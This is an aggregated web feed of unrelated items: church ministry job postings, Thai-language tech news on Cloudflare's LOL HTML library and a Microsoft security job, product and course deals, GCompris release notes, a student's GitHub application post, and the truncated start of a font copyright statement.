Start Date – 1/1/2020

Mustang United Methodist Church is seeking a trained professional to join our team as the Minister of Elementary Children. This person must have a passion and love for teaching children.
The Minister of Elementary Children is responsible for the safety, care, ministry and Christian education of children Kindergarten through 6th grade. The Minister of Elementary Children must be able to work independently as well as part of a team. From the team perspective, this position will work with shared ministry departments throughout the church, including preschool and youth ministries, to ensure all programs are working well together to facilitate the transition of all children and youth through each of our age specific programs. Independently, this position will manage their department, including its budget, calendar, volunteers and curriculum development.

Education and Experience:

  • Bachelor’s degree in early childhood or secondary education preferred; experience may be substituted for education
  • Experience working with upper elementary (4-6th grade) students; 2 or more years preferred

Other Requirements, Skills and Abilities:

  • Knowledge of scripture and Bible stories
  • Must be able to work Sunday mornings and Wednesday evenings, when applicable
  • Must work well independently and with a team
  • Ability to lead and direct others, such as volunteers
  • Organized and detail oriented
  • Clean background check; will be check annually
  • Computer skills and Microsoft Office skills
  • Knowledge of social media and ability to manage department accounts appropriately
  • Attend trainings, conferences and continuing education classes yearly to grow in your area of ministry

Work Hours:

  • Monday-Thursday – 8-4
  • Wednesday evenings when midweek programming is in session
  • Sunday mornings, both worship services and Sunday school; 8:30-12

Mustang United Methodist Church offers competitive compensation as well as benefit options including major medical, dental, vision and pension.


          

Campus Technical Director

 Cache   

POSITION SUMMARY

The Campus Technical Director serves as Technical Lead, or A1, and oversees the development of teams, who provide support for ministry events by maintaining all audio, visual, AVL computers, lighting systems, and related equipment at assigned campus(es).  This position is responsible for implementing consistency and excellence for all live sound reinforcement, theatrical lighting, and video at campus ministry events. The Campus Technical Director works closely with others in the creative processes as a positive, solution-focused leader.  In all actions they reflect the SVCC team leadership distinctives. 

 

ESSENTIAL FUNCTIONS

  1. Provide leadership and oversight for volunteer technical teams, that aligns with the processes and systems established by the Central Services Team at assigned campus(es) for Weekends, SV Kids and SV Students, Groups Ministry, Celebrate Recovery and other events, including but not limited to concerts, weddings, funerals and memorial services
  2. Recruit, train, facilitate, and coordinate teams of technical volunteers
  3. Oversee technical programming support for assigned campus(es), coordinate rentals as needed, handle system maintenance, manage inventory, and provide AV and technical support, as needed
  4. Attend and participate in production meetings and creative team meetings
  5. Attend weekly/monthly staff meetings and “all church” functions
  6. Establish and maintain strong and effective working relationships with staff members and volunteers

 

MINIMUM QUALIFICATIONS

  • High school diploma or equivalent, and other training/certifications that have equipped them for the duties of the role
  • Two years of experience in production, including thorough knowledge of use of computers, automated lighting, sound, and video, including ProPresenter, Ableton Live, and digital audio consoles
  • Proficiency with Microsoft Office Suite
  • Demonstrates spiritual maturity and character consistent with the Biblical requirements for church leadership
  • Effective relational and communication skills, both verbal and written
  • Self-motivated, self-directed requiring minimal supervision
  • Ability to implement and drive projects and strategies through to completion
  • Creativity and problem-solving skills
  • Teamwork orientation with ability to recruit, train and motivate others
  • Agrees and aligns with the vision, values, pathway, leadership distinctives, and doctrinal statement of SVCC

 

PREFERRED QUALIFICATIONS

            Three years of related experience


          

Children's Pastor

 Cache   

The Children’s Pastor will develop and cast vision to plan, coordinate and execute all facets of Children’s Ministry including fellowship, biblical teaching, discipleship and evangelism. Will work closely to implement the Family Ministry vision with the team.  The team is comprised of the Executive Pastor, Student Pastor, Family Ministry Coordinator, and the Children’s Pastor.

EDUCATION REQUIREMENTS AND EXPERIENCE

A familiarity with the Orange Philosophy and Rethink Curriculum. There needs to be a functional understanding of Mail Chimp, Excel, Pages, Word and Social Media.  This position will also need to learn how to use Planning Center Online, Pro Presenter and Nozbe. Strong organizational leadership is a necessity and a minimum of 4 years leading in similar ministry is preferable.

This is a full-time salary position. There will need to be a willingness to complete any training necessary to bring current abilities in line with duties needing to be performed. There should be a desire to understand existing history and ministry model already in place.

QUALIFICATIONS

  1. Espouse an unquestioned and vital commitment to Jesus Christ as personal Savior and Lord.
  2. Be thoroughly evangelical in faith, doctrine and practice as understood by Journey Church.
  3. Have a love for children and families
  4. Demonstrate effectiveness in confidential matters.
  5. Possess strong motivational skills, leadership skills, and a high level of organization and attention to detail.
  6. Have the ability to lead and develop volunteer teams
  7. Be flexible with the growing demands of an evangelical, community focused church

RESPONSIBILITES

  • Oversee all programming and ministry for children ages birth – 6th grade, including Sunday mornings, summer programming, special events, marketing, details, etc…
  • Prepare curriculum for each program and each age level, while espousing the values of Journey Church.
  • Oversee and cast vision for our large group Children’s environment. (KidStreet)
  • Create environments, activities and programming for each age group that will facilitate learning and encourage spiritual growth and a personal relationship with Jesus Christ.
  • Recruit, train, schedule and lead teams of volunteers (creating clear roles and responsibilities)
  • Maintain a strategy for reaching and assimilating new children and families.
  • Plan and oversee special events such as Symphony at the Park, Baby Dedications, Christmas Celebrations etc…
  • Responsible to Executive Pastor for daily and ministry responsibilities, but accountable as a team player to the Family Ministry Team.
  • Be able to lead, resource, and work with existing teams.
  • Maintain and manage an inviting physical environment, reporting any needs not able to take care of.
  • Must attend Weekly staff meetings, and monthly all-staff meetings, yearly staff retreat.
  • Oversee and manage safety protocol for ministry to the best of our ability.

ADDITIONAL REQUESTS

  • Submit a cover letter and a resume to jobs@thejourneyonline.com and in the subject put Children’s Pastor.
  • If available please attach VOPS, Strength Finder, DISC, or Enneagram assessment results. If not available, a link to these profile assessments will given to you during the interview process.
  • Please submit two professional and two personal references.
  • Attach two videos of you in a Children’s ministry teaching environment.
  • Please do not contact any church personnel directly as it will automatically disqualify you for employment.   

 


          

Children's Pastor

 Cache   

Creative, Visionary, Team Player

Fountain of Life Center is making a lasting difference leading people to become fully devoted followers of Christ.  We are one church with multiple locations looking to add a creative Children's Pastor to our team who can help lead the next generation.

We are looking for an individual who is passionate about sharing the love and message of Jesus with children, and providing an environment that allows kids to learn and make connections.  This ministry provides relevant, age appropriate learning and connection opportunities for kids from 6 months to 6th grade.  During all weekend services, ministry for kids is provided and executed by a large base of volunteers led by the Children's Pastor.

This position requires strong personal leadership and organizational skills to complete the core responsibilities.  The ideal candidate will have a bachelor's degree from an accredited college or university, and a minimum of 3 years of children's ministry or related experience.

Core Responsibilities:

  • Create a high energy, and age-appropriate weekly environment for all children regardless of their learning level.
  • Implement modern and creative approaches to learning and teaching techniques; with the desire to be ever changing and developing.
  • Provide programming for children in kindergarten through the 6th grade.
  • Organize and execute annual events, such as: Harvest Fun Fest.
  • Schedule and manage volunteers for the entire Children's Ministry.
  • Oversee the following Children's Ministry departments:  Sunday Morning LIFE Kids, nursery and mid-week ministries; Royal Rangers, and Girls' Ministry.
  • Attend weekly staff meetings, Children's Ministry team meetings, and other staff meetings as needed.
  • Continually search for new ways to keep our children's ministry exciting, fresh and FUN.

Qualifications:

  • People-oriented.
  • A Bachelor's degree is preferred; minimum of 3 years in children's ministry or related experience required.
  • Hold credentials with the Assemblies of God.
  • Experience with large base of volunteers.
  • Works well in team-leadership environment.
  • Be a biblically-based and Spirit-filled Christian, in agreement with the vision, beliefs, and mission of the church.
  • Be a mature and growing Christian that ascribes to maintaining moral and spiritual integrity in all areas of life.
  • Skilled in attracting, assessing and equipping volunteers and developing them to their fullest potential.
  • Capable of effectively working with volunteers from a variety of background and experiences.
  • Ability to create fun and engaging community-wide events for children and their families.
  • Excellent communication and interpersonal skills.
  • A team player and team builder who focuses on the good of the entire organization.

Additional Responsibilities:

  • Communicate consistently with parents, keeping them informed of ongoing activities as well as providing the tools they need for spiritual leadership.
  • Responsible for the promotion of the Children's Ministry and its events through multiple platforms, including social media.
  • Ensure the safety, both physically and emotionally, of all children who participate in the Children's Ministry.
  • Responsible for developing the comprehensive standards, curricula, and programming as well as ensuring its successful implementation and alignment with the overall vision of the church.

Competitive salary, benefits and perk package available.

 


          

NextGen Student Director

 Cache   

NextGen Programming Director

Why us?

NewLife Church is a church that cares about the Next Generation!  The pastors and elders are excited about what God is doing in the Next Generation and consider it a key part of who we are as a church. It is a church where you will have the freedom to do ministry and the backing to accomplish what God is calling us too.

NewLife is a church that is anticipating and experiencing exciting days. We desire to be a church that reaches wide with the gospel while going deeper into the lives of each person. Our mission statement is to “embrace each person with the life-changing grace and truth of Jesus.”

In order to fulfill this mission, we need a gifted leader who has a heartbeat for each person to experience the fullness of church not just on a Sunday morning but from Monday to Saturday. We are looking for someone who can help us move to a place where small groups become the life source of everything that we do.

As a Church, we just hired two fantastic new leaders in the summer, a NextGen Pastor and Worship/Communications Pastor. We are looking to add another key staff position, which would be the Next Gen Programming Director.

Who we're looking for

You Think Orange
You are a dreamer
You have a passion to see students meet Jesus
You connect well with teenagers and adults
You love to throw a party
You love investing in leaders and empowering them to do ministry

You enjoy working on a team
You know what it means to Lead Small
You know how to empower others to do ministry

Did we mention you're an Orange thinker?

 

Job Description

The role of the NewLife NextGen Programming Director will be to work with our NextGen team to shape the Vision & Direction of our NextGen Ministry (birth - 18) and their families. This role will make sure we have exciting and engaging programming throughout our NextGen ministry and will have primary responsibility for Student Ministry (6th-12th grade).

 

Responsibilities

  • Equipping our church to love all students and help us embrace area students with the life-changing grace and truth of Jesus
  • Creating engaging environments where Kids and students connect to a caring leader and a consistent group of peers
  • Partnering with families throughout our church
  • Reaching students who have no idea what the love of Christ looks like
  • Mobilizing students to minister to their peers and be apart of the church as a whole.
  • Manage student ministry budget
  • Work alongside NextGen Groups director to make kids programming engaging and relevant.
  • You love students and leaders who love students and want to give your life to see kids meet Jesus in Southeast Polk and beyond.

 

Programming

  • Responsible for Weekly Programming for Middle School and High School Responsible for Programming for all student ministry events
  • Develop a Teaching Team for Student Ministry
  • Develop creative content/direction for middle school and high school
  • Recruit and develop Programming Teams for Birth - High School. (worship, hosts, teachers, tech)
  • Develop and maintain calendars for middle school & high school ministry
  • Manage Special Events & Large Events (registration, communication, marketing, etc) for middle school & high school ministry

Groups

  • Responsible for ensuring every student is connected to a caring leader and a consistent group of peers, and every leader is equipped to lead small. You will work with our NextGen Groups director to help make this happen.
  • Monitor health and direction of groups
  • Recruit, assign, and direct new coaches and Small Group Leaders Meet regularly with Coaches/SGLs for training and equipping
  • Work with coaches for the purpose of training and equipping Orientation of new leaders
  • Coordinates the size and structure of groups/group multiplication
  • Responsible for the transition of rising 6th through 11th grade students
  • Assist in the transition of students to college
  • Coordinating, planning, and carrying out regularly SGL leader meeting

 

Our Staff Culture:

1. We lead from our love for Jesus
2. We are better at home than we are at Church
3. We Multiply
4. We share our last 10%
5. We love feedback
6. We love numbers because each number is a person

 

******To apply e-mail buck@newlifedsm.com - Please include - Resume, Cover Letter, and Audio or Video link of a recent Message (video preferred). 


          

Homepage Editor - Fox News Channel

 Cache   
pls RT ECNIDRSS @entcareersnet JOB DESCRIPTION
Fox News is looking for a Homepage Editor. You are responsible for programming ... more


          

Graphical Loop Invariant Programming in CS1

 Cache   
Title: Graphical Loop Invariant Programming in CS1

Author, co-author: Liénardy, Simon; Malcev, Lev; Donnet, Benoît

Abstract: This paper introduces the use of Graphical Loop Invariant as a programming methodology in a CS1 course, in which the Loop Invariant is determined prior to writing the code and is meant as a help to find the loop instructions. This paper also introduces two learning tools: GLI, an application helping students to draw Loop Invariant and CAFÉ, an on-line platform designed to assess and deliver automatic feedback and feedforward information to students, in particular on their Loop Invariants and the pieces of code based upon them. The paper reports preliminary evaluation on Café usage.
          

Cloudflare เปิดโครงการ LOL HTML ไลบรารีภาษา Rust แก้ไข HTML ความเร็วสูง

 Cache   

Cloudflare เปิดตัวไลบรารี LOL HTML ชื่อเต็ม Low Output Latency streaming HTML rewriter/parser with CSS-selector based API หรือ "ตัวอ่านและแก้ไข HTML กำหนดข้อมูลที่แก้ด้วย CSS-selector แบบระยะเวลาหน่วงต่ำ"

LOL HTML เป็นไลบรารีภาษา Rust ที่ทาง Cloudflare สร้างไว้ใช้งานในบริการ Cloudflare Workers ที่รันซอฟต์แวร์แบบ serverless แก้ไข HTML ที่ปลายทางของ CDN ได้เลย

Cloudflare Workers ต้องการประมวลผล HTML โดยมีระยะเวลาหน่วง (latency) ต่ำ การ parse ไฟล์ HTML ทั้งไฟล์เข้าหน่วยความจำและจึงแก้ไขก่อนจะเขียนลงมาเป็นไฟล์อีกทีทำให้กระบวนการทั้งหมดช้าลงมาก LOL HTML ออกแบบมาโดยสามารถอ่านโทเค็นจาก HTML เข้าไปทีละส่วนและเพื่อพบตำแหน่งตาม CSS-selector ที่กำหนดก็แก้ไขได้เลย แนวทางนี้ทำให้อัตราการใช้หน่วยความจำต่ำลงมากและไม่เสียเวลาหน่วง

ไลบรารีใช้สัญญาอนุญาตแบบ BSD เปิดให้ดาวน์โหลดบน GitHub

ที่มา - Cloudflare

No Description


          

ไมโครซอฟท์รับสมัครโปรแกรมเมอร์ด้านความปลอดภัย ระบุหากเป็นภาษา Rust จะพิจารณาเป็นพิเศษ

 Cache   

ไมโครซอฟท์ลงประกาศรับสมัครงานในตำแหน่ง Security Software Engineer รับผิดชอบการสร้างเครื่องมือวิจัยและลดผลกระทบช่องโหว่ความปลอดภัยในวินโดวส์และอุปกรณ์ของไมโครซอฟท์ โดยระบุว่าเครื่องมือภายในพัฒนาด้วยภาษา Rust เป็นหลัก ดังนั้นหากใครมีประสบการณ์จะพิจารณาเป็นพิเศษ

อย่างไรก็ดีภาษา Rust ไม่ได้เป็นเงื่อนไขหลักในการสมัครตำแหน่งนี้ โดนผู้สมัครต้องเขียนโปรแกรมภาษา C/C++ เป็น ระดับประสบการณ์ 3 ปีขึ้นไป, เข้าใจความมั่นคงปลอดภัยของระบบปฎิบัติการ มีประสบการณ์พัฒนาซอฟต์แวร์ระบบมากกว่า 1 ปี, มีความรู้ด้านวิทยาศาสตร์คอมพิวเตอร์อย่างแข็งแกร่ง

ไมโครซอฟท์แสดงความสนใจในภาษา Rust สูงขึ้นมากในช่วงหลัง โดยเมื่อกลางปีศูนย์รับมือเหตุการณ์ความปลอดภัยของไมโครซอฟท์ (Microsoft Security Response Center - MSRC) ระบุว่าภาษา Rust เป็นตัวเลือกที่น่าสนใจสำหรับงานที่ต้องการประสิทธิภาพสูงแต่ต้องการขจัดบั๊กหน่วยความจำออกไป

นอกจากความสามารถตามตำแหน่งงานแล้ว ตำแหน่งนี้ต้องผ่านการตรวจสอบประวัติตามมาตรฐาน Microsoft Cloud และต้องตรวจประวัติอีกทุกๆ สองปี

ที่มา - Microsoft Career

No Description


          

Sphero SPRK+: App-Enabled Robot Ball with Programmable Sensors + LED Lights - STEM Educational Toy for Kids - Learn JavaScript, Scratch & Swift $80.99

 Cache   
Sphero SPRK+: App-Enabled Robot Ball with Programmable Sensors + LED Lights - STEM Educational Toy for Kids - Learn JavaScript, Scratch & Swift $80.99 with free shipping
  • MORE THAN JUST A ROBOT: Sphero SPRK+ is a programmable robot ball designed to inspire creativity and curiosity through coding and play. Easily learn programming, complete hands-on activities, and share your creations with the community.
  • PROGRAMMABLE SENSORS & LED LIGHTS: SPRK+'s programmable sensors include a gyroscope, accelerometer, motor encoders, and colorful LED lights to create countless play experiences and coding conditions for all levels.
  • EASY TO CODE & CREATE: Powered by the Sphero Edu app, you can program SPRK+ across several platforms using JavaScript. Looking for more fun? Use the Sphero Play app to drive and play games with your coding bot.
  • BUILT TO LEARN & PLAY: With an hour of play, this educational robot is scratch-resistant, waterproof, charges inductively and connects via Bluetooth SMART so you can see your commands and creations come to life.
  • INSPIRING THE CREATORS OF TOMORROW: Founded in 2010, we set out to redefine creative play experiences with the original Sphero app-enabled robot ball. Now, with our undeniably cool fleet of programmable robots and educational tools, we're inspiring a new generation through hands-on applied learning of coding, science, music and the arts.

          

Nest Learning Thermostat, 3rd Generation, Works with Alexa $140

 Cache   
Nest Learning Thermostat, 3rd Generation, Works with Alexa $140 with free shipping
  • Works with Alexa for voice control
  • Auto-Schedule. No more programming. The Nest Thermostat learns from you and programs itself.
  • Auto-Away. Don't heat or cool an empty home. Auto-Away adjusts the temperature after you leave.
  • Remote control. With the Nest app, you can change the temperature, check Energy History and get an alert if your home is too hot or cold.
  • Energy History. Know more, save more. Check your Energy History to see how much energy you use and why.
  • Nest Leaf. The Leaf appears when you choose a temperature that saves energy.
  • Fast setup & installation. Most people install the Nest Thermostat in 30 minutes or less. If you ever need help, call 24/7 support.
  • Works with 95% of 24V heating and cooling systems, including gas, electric, forced air, heat pump, radiant, oil, hot water, solar and geothermal.
  • Display screen: 24-bit color LCD, 480 x 480 resolution at 229 pixels per inch, 2.08-inch diameter
  • Wi-Fi 802.11b/g/n at 2.4GHz, 5GHz; 802.15.4 at 2.4GHz; Bluetooth Low Energy

          

Bayesian Machine Learning in Python: A/B Testing for $24

 Cache   
Expires November 23, 2022 23:59 PST
Buy now and get 80% off

KEY FEATURES

A/B testing is used everywhere, from marketing, retail, news feeds, online advertising, and much more. If you're a data scientist, and you want to tell the rest of the company, "logo A is better than logo B," you're going to need numbers and stats to prove it. That's where A/B testing comes in. In this course, you'll do traditional A/B testing in order to appreciate its complexity as you elevate towards the Bayesian machine learning way of doing things.

  • Access 40 lectures & 3.5 hours of content 24/7
  • Improve on traditional A/B testing w/ adaptive methods
  • Learn about epsilon-greedy algorithm & improve upon it w/ a similar algorithm called UCB1
  • Understand how to use a fully Bayesian approach to A/B testing

PRODUCT SPECS

Details & Requirements

  • Length of time users can access this course: lifetime
  • Access options: web streaming, mobile streaming
  • Certification of completion not included
  • Redemption deadline: redeem your code within 30 days of purchase
  • Experience level required: all levels, but knowledge of calculus, probability, Python, Numpy, Scipy, and Matplotlib is expected
  • All code for this course is available for download here, in the directory ab_testing

Compatibility

  • Internet required

THE EXPERT

The Lazy Programmer is a data scientist, big data engineer, and full stack software engineer. For his master's thesis he worked on brain-computer interfaces using machine learning. These assist non-verbal and non-mobile persons to communicate with their family and caregivers.

He has worked in online advertising and digital media as both a data scientist and big data engineer, and built various high-throughput web services around said data. He has created new big data pipelines using Hadoop/Pig/MapReduce, and created machine learning models to predict click-through rate, news feed recommender systems using linear regression, Bayesian Bandits, and collaborative filtering and validated the results using A/B testing.

He has taught undergraduate and graduate students in data science, statistics, machine learning, algorithms, calculus, computer graphics, and physics for students attending universities such as Columbia University, NYU, Humber College, and The New School.

Multiple businesses have benefitted from his web programming expertise. He does all the backend (server), frontend (HTML/JS/CSS), and operations/deployment work. Some of the technologies he has used are: Python, Ruby/Rails, PHP, Bootstrap, jQuery (Javascript), Backbone, and Angular. For storage/databases he has used MySQL, Postgres, Redis, MongoDB, and more.

          

Deep Learning: GANs and Variational Autoencoders for $25

 Cache   
Expires November 23, 2022 23:59 PST
Buy now and get 86% off

KEY FEATURES

Variational autoencoders and GANs have been two of the most interesting recent developments in deep learning and machine learning. GAN stands for generative adversarial network, where two neural networks compete with each other. Unsupervised learning means you're not trying to map input data to targets, you're just trying to learn the structure of that input data. In this course, you'll learn the structure of data in order to produce more stuff that resembles the original data.

  • Access 41 lectures & 5.5 hours of content 24/7
  • Incorporate ideas from Bayesian Machine Learning, Reinforcement Learning, & Game Theory
  • Discuss variational autoencoder architecture
  • Discover GAN basics

PRODUCT SPECS

Details & Requirements

  • Length of time users can access this course: lifetime
  • Access options: web streaming, mobile streaming
  • Certification of completion not included
  • Redemption deadline: redeem your code within 30 days of purchase
  • Experience level required: all levels, but knowledge of calculus, probability, object-oriented programming, Python, Numpy, linear regression, gradient descent, and how to build a feedforward and convolutional neural network in Theano and TensorFlow is expected
  • All code for this course is available for download here, in the directory unsupervised_class3

Compatibility

  • Internet required

THE EXPERT

The Lazy Programmer is a data scientist, big data engineer, and full stack software engineer. For his master's thesis he worked on brain-computer interfaces using machine learning. These assist non-verbal and non-mobile persons to communicate with their family and caregivers.

He has worked in online advertising and digital media as both a data scientist and big data engineer, and built various high-throughput web services around said data. He has created new big data pipelines using Hadoop/Pig/MapReduce, and created machine learning models to predict click-through rate, news feed recommender systems using linear regression, Bayesian Bandits, and collaborative filtering and validated the results using A/B testing.

He has taught undergraduate and graduate students in data science, statistics, machine learning, algorithms, calculus, computer graphics, and physics for students attending universities such as Columbia University, NYU, Humber College, and The New School.

Multiple businesses have benefitted from his web programming expertise. He does all the backend (server), frontend (HTML/JS/CSS), and operations/deployment work. Some of the technologies he has used are: Python, Ruby/Rails, PHP, Bootstrap, jQuery (Javascript), Backbone, and Angular. For storage/databases he has used MySQL, Postgres, Redis, MongoDB, and more.

          

Build The Legend of Zelda Clone in Unity3D and Blender for $35

 Cache   
Expires November 23, 2022 07:59 PST
Buy now and get 82% off

KEY FEATURES

In this course, you'll learn how to build a 3D game with Unity and Blender. This course is unique because you'll make both the code and the art for the game from scratch. Here, you'll create 'The Legend of Zenda,' a clone of the Nintendo classic.

  • Access 171 lectures & 28.5 hours of content 24/7
  • Design the game & its functionality in Unity
  • Learn how to code in C# & build video game levels
  • Create 3D models for the game in Blender

PRODUCT SPECS

Details & Requirements

  • Length of time users can access this course: lifetime
  • Access options: web streaming, mobile streaming
  • Certification of completion not included
  • Redemption deadline: redeem your code within 30 days of purchase
  • Experience level required: all levels
  • Blender, Photoshop or Gimp, and Unity required

Compatibility

  • Internet required

THE EXPERT

John Bura is one of the 10 highest grossing Udemy instructors, selling over 10-million dollars of courses collectively. John Bura has been programming games since 1997, teaching since 2002, and is the owner of the game development studio Mammoth Interactive. This company produces XBOX 360, iPhone, iPad, Android, HTML5, ad-games, and more. Mammoth Interactive even recently sold a game to Nickelodeon! John has been contracted by many different companies to provide game design, audio, programming, level design, and project management. To this day, John has 40 commercial games that he has contributed to. Several of the games he has produced have risen to the top 10 in the Apple's app store.

          

Commando Manual Programming

 Cache   
Commando Manual Programming
          

Nuxt.js: isomorphic Vue.js Apps made easy, fast and fun

 Cache   

What is Nuxt.js? Find out how this framework can help your JavaScript programming experience. Take a video break and watch David Guijarro, a JavaScript developer at SHARE NOW, discuss the framework and how to make Vue.js apps with it. It's fast, easy, and fun.

The post Nuxt.js: isomorphic Vue.js Apps made easy, fast and fun appeared first on JAXenter.


          

Senior Data Analyst - William E. Wecker Associates, Inc. - Jackson, WY

 Cache   
Ideally, an excellent working knowledge of Base SAS, SAS/STAT, SAS SQL, and advanced SAS DATA step and macro programming on a UNIX and Windows platforms;
From William E. Wecker Associates, Inc. - Mon, 22 Oct 2018 06:14:12 GMT - View all Jackson, WY jobs
          

Programmer Analyst - University of Wyoming - Laramie, WY

 Cache   
Oracle database environment to include SQL, tables, views, packages, and triggers. 1 year work-related experience in computer programming is preferred or…
From University of Wyoming - Tue, 19 Nov 2019 20:14:45 GMT - View all Laramie, WY jobs
          

A Beautiful Day in The Neighborhood

 Cache   
“It’s a beautiful day in this neighborhood. A beautiful day for a neighbor. Would you be mine? Could you be mine?” Anyone who was a kid from the 1960’s to the 1990’s and beyond recognizes Mr. Rogers and his neighbor song. The man defined children’s programming for television, and he did so from a small […]
          

GitHub's Student Dev Pack - I'm Finally Applying

 Cache   

After procrastinating for a week, I’m finally applying for GitHub’s Student Developer Pack. It took almost a week for me to answer a simple question.

How do you plan to use GitHub?

It’s a simple question, and I know how do I plan to use GitHub, but for some reasons, I wasn’t able to craft my words, the way I wanted to. Every day, I opened my text editor, wrote a bunch of sentences, and closed it down.

It wasn’t hard for me to write the answer, but I procrastinated, and now I know how does it feel to do something in a week when in reality, you can complete the same thing in around 30 minutes or so.

It took around 10 minutes to write, and the next 20 minutes were spent thinking if what I’ve written makes sense or not.

Here’s what I wrote and sent -

I’ve been using GitHub for a while now. I still remember when I created my account but had absolutely no idea of anything that was happening. I indeed wiped out my ~/home with git rm because I was having a hard time understanding Git and GitHub.

It took me some time, but I understood what’s the work and purpose of GitHub, and how important it is for people like me. If it wasn’t GitHub, I might not have been aware of Programming and Open Source. I love to code, and I genuinely care about FOSS.

GitHub Student Developer is important to me. I’m focused on developing better things than what I’ve built in the past. As a student, I don’t get much time to do a lot of things, so it’s not entirely possible for me to pay for the features that GitHub is providing to the students.

The initial goal is to make progress towards becoming a better developer while contributing to the Open Source as much as I can. So, here’s how I’m planning to use GitHub’s Student Developer Pack -

1) Use Bootstrap Studio, Canva, Iconscout, Icons8, Weglot to learn and build user interfaces and improve my fronted skills.

2) Use Datadog, AWS, Azure, mnx.io to learn, understand, and experiment with the cloud.

3) Use Flatiron School, Thinkful, Covalence, Go Rails, next.tech, Interview Cake, One Month, Frontend Masters, Educative to improve my skills as a programmer. Most importantly, I want to build sensible projects, write tutorials, and make useful contributions to open source.

I can go on and on, but I think these are some basic ways of how I’m planning to use GitHub.

That’s it. I think it makes sense, I guess. Although I don’t know if other people provide such a brief answer while applying, for me, it was different, so I wrote what was going on top of my mind.


21st Nov. 2:54 AM. I just submitted the docs



UPDATE

Thu, Nov 21, 2019 at 3:15 AM



I just got the email from GitHub, and I’m very happy. I don’t have much to say. I’ll just check everything, and then I’ll probably get some sleep.

Happy Moment!

          

'Servant' is eerie but can't overcome its worm-ridden twist

 Cache   
Apple TV+'s rough start with original programming doesn't get any smoother with "Servant," an eerie new series produced by M. Night Shyamalan, who also directed the pilot. Seemingly inspired by "Rosemary's Baby," there's no recovering from the worm-ridden nature of its concept, which starts off fuzzy and weird and doesn't get much clearer over time.

          

Completely Conspicuous 520: Streaming for Vengeance

 Cache   

Part 1 of my conversation with guest Matt Phillion as we discuss the decade in TV and movies.

Show notes:

- This decade has flown by

- 10 years ago, Matt was getting ready to move to Ireland

- Hard to rank the best movies and TV because there's so much we haven't seen

- Recording on the day that Disney+ launched

- Some bugs because of the huge demand on day 1

- Biggest change is the move to streaming content

- Binge-watching has become a huge trend

- Spoilers abound

- Jay: Don't read reviews until after I've watched something

- HBO's Watchmen series is pretty good

- So easy to fall behind on a show

- Shows switch to different streaming services

- We're so distracted that many people are doing multiple things while watching a show

- Short seasons are appealing because you can finish them quickly

- Rare to watch shows live

- Matt watched final season of LOST from Ireland, live with his family via a laptop

- Similarly, there's so much new music being released but a lot of it doesn't get heard

- Radio stations play a lot of the same music over and over

- More and more original programming on non-traditional outlets: PlayStation, Amazon Prime, Apple+

- So many streaming services available now

- The end goal is to replace your $200 cable bill with an equal amount spent on streaming services

- Jay: Cut the cord three years ago, went to all streaming

- You can't get everything

- Takes a long time to decide what to watch sometimes

- Sometimes we watch two different things while in the same room

- Seeing movies in a theater is great, but dealing with other people isn't

- Stay off social media if you don't want spoilers

- Jay: 10 years ago, I was watching late night talk shows every day

- Now, watch clips online the following day

- Jay: Haven't seen a Star Wars movie since 1983

- Something to be said for holding onto hard media

- Bringing back dead actors using AI

- Deep fakes are freaky and amazing

- Superhero movies became big moneymakers in the last decade

- The Shining happened because Kubrick was at a low spot and needed a hit

- The new Fantasy Island reboot is a horror movie

- To be continued

Completely Conspicuous is available through Apple Podcasts and anywhere else you get podcasts. Subscribe and write a review!

The opening and closing theme of Completely Conspicuous is "Theme to Big F'in Pants" by Jay Breitling. Voiceover work is courtesy of James Gralian.


          

Release GCompris 0.97

 Cache   

Hi,
We are pleased to announce the release of GCompris version 0.97.

This new version contains 2 new activities:

  • A programming maze: to learn the basics of programming with a few instructions
  • Baby tangram: to learn the basics of tangram (this activity corresponds to the lowest levels of previous tangram activity)

And a lot of new features:

  • new sub-categories to organize activities
  • new background music feature and audio tracks
  • new volume settings for audio effects
  • new speed setting in several activities (gletters, algebra, readingh, note_names)
  • new feature in chess activities to display captured pieces
  • new option to go to next level manually in drawletters and drawnumbers
  • new voices for en_US
  • new images for colors activity
  • new images for advanced_colors activity
  • new images for target activity
  • improve settings layout
  • improve share activity layout
  • improve categorisation activity layout
  • resource files are now stored in KDE server (https://cdn.kde.org/)
  • add a tutorial to even/odd numbers
  • add intro to piano_composition
  • add malayalam dataset to gletters
  • add breton dataset to wordsgame
  • fix voices not playing in geography
  • fix sounds not playing in mining
  • fix portrait mode in binary_bulb
  • fix high cpu load in menu
  • fix hint image size in photo_hunter
  • fix layout in color_mix
  • and lots of other small fixes…

You can find packages of this new version for GNU/Linux, Windows and MacOS on the download page. This update will also be available soon in the Android Play store and the Windows store. For Raspberry Pi, we’ll provide an installer soon. The updated version for iOS is still not available. Note that the MacOS package is not yet notarized, we will look at doing this during next year.

On the voices side, we added a new voice “try again” which is used in several activities instead of “check answer”. You can check on this page if this voice is available in your language: https://gcompris.net/voicestats/ (in the “Misc” section). You can help us by providing a nice recording of your voice for all the missing entries in your native language.

On the translation side, we have 20 languages fully supported: Basque, Brazilian Portuguese, Breton, British English, Catalan, Chinese Traditional, Dutch, French, Galician, Greek, Italian, Macedonian, Malayalam, Polish, Portuguese, Romanian, Slovak, Spanish, Swedish, Ukrainian.

We also have 15 languages partially supported: Belarusian (65%), Catalan (Valencian 95%), Chinese Simplified (66%), Estonian (93%), Finnish (86%), German (96%), Hindi (73%), Hungarian (95%), Indonesian (95%), Irish Gaelic (78%), Norwegian Nynorsk (93%), Russian (76%), Scottish Gaelic (67%), Slovenian (54%), Turkish (95%).

Usually we only ship translations that are at least 80% complete. However several translations dropped way below 80% (especially Slovenian, Belarusian and Scottish Gaelic ; but also Hindi, Russian and Irish Gaelic). We decided to keep those exceptionally for this release, and hope to see former or new translators complete those translations. If we get updates or new translations, we will make a release update.

So if your language is in the partially supported list, or is not yet supported at all, and you want to help, please contact us and we will give you instructions to get started translating.

Another way to help is to write some posts in your community about GCompris, and don’t hesitate to give us feedbacks.

Notes:

  • For the Malayalam language, we noticed some issues with the default font “Andika-R”. We recommend Malayalam users to select the font Noto-Sans-Malayalam or RaghuMalaylamSans from the application menu (if it is not available in the list you need to install this font on your system to be able to select it).

Thank you all,
Timothée & Johnny


          

Public statement by Rachana Institute of Typography on the copyright/credit issue of SMC and RIT fonts

 Cache   

About us

We — KH Hussain, CV Radhakrishnan, PK Ashok Kumar and KV Rajeesh — are the copyright holders of TN Joy font. Many of us have worked on free/libre/open source software for years in our spare time and contributed code, design, fonts, documentation, localization and financial support to various free software projects. Our contributions can be found easily on the Web and elsewhere.

A copyright/‘credit’ issue

